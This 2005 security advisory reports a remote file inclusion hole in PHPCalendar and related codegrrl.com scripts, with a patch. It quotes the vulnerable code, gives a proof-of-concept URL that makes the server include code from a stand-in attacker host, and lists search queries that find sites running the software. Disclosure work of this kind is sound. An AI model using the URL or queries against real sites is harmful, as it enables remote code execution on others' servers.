PHPCalendar (and some more codegrrl.com products) arbitrary code execution ======================================================================== == Software: PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, PHPQuotes Severity: Arbitrary code execution Risk: High Author: Robin Verton <r.verton (at) gmail (dot) com [email concealed]> Date: Sep. 24 2005 Vendor: codegrrl.com [contacted] Description: Written in PHP/MySQL, PHPCalendar is a script designed especially to help webmasters to mantain a calendar, with all upcoming events and birthdays. It was designed to be used at personal sites, but it can also be very useful for fansites, to keep track of tours, premiers, awards shows, tv apearances, interviews, magazines features, and many more! You can see it in use at unfloopy.net. [http://www.codegrrl.com/] Details: 1) protection.php (with register_globals = On) If register_globals is on an attacker can include an arbitrary php file to execute malicious code. $logout_page = "$siteurl"; [...] if ($action == "logout") { Setcookie("logincookie[pwd]","",time() -86400); Setcookie("logincookie[user]","",time() - 86400); @include($logout_page); exit; } Proof of Concept: To exploit this vulnerability an attacker only has to use the following HTTP-Request: http://www.example.com/protection.php?action=logout&siteurl=http://yourh ost.com/malicoius-code.txt Patch: Set register_globals in the php.ini off or disallow direct access to the protection.php f.e. define constants and use code like if( !defined('IN_SYS') ) { die('Hacking attempt'); } to prevent the direct access Credits: Credit goes to Robin Verton, 15 years old from Germany References: [1] http://codegrrl.com [2] http://www.google.com/search?q=%22Powered+by%3A+PHPFanBase%22 [about 112,000 results] [3] http://www.google.com/search?q=%22Powered+by%3A+PHPCalendar%22 [about 44,000 results] [4] http://www.google.com/search?q=%22Powered+by%3A+PHPCurrently%22 [about 44,000 results] [5] http://www.google.com/search?q=%22Powered+by%3A+PHPClique%22 [6] http://www.google.com/search?q=%22Powered+by%3A+PHPQuotes%22